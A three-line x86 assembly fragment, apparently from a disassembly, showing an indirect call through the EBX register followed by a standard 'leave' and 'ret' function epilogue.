call ebx
leave
ret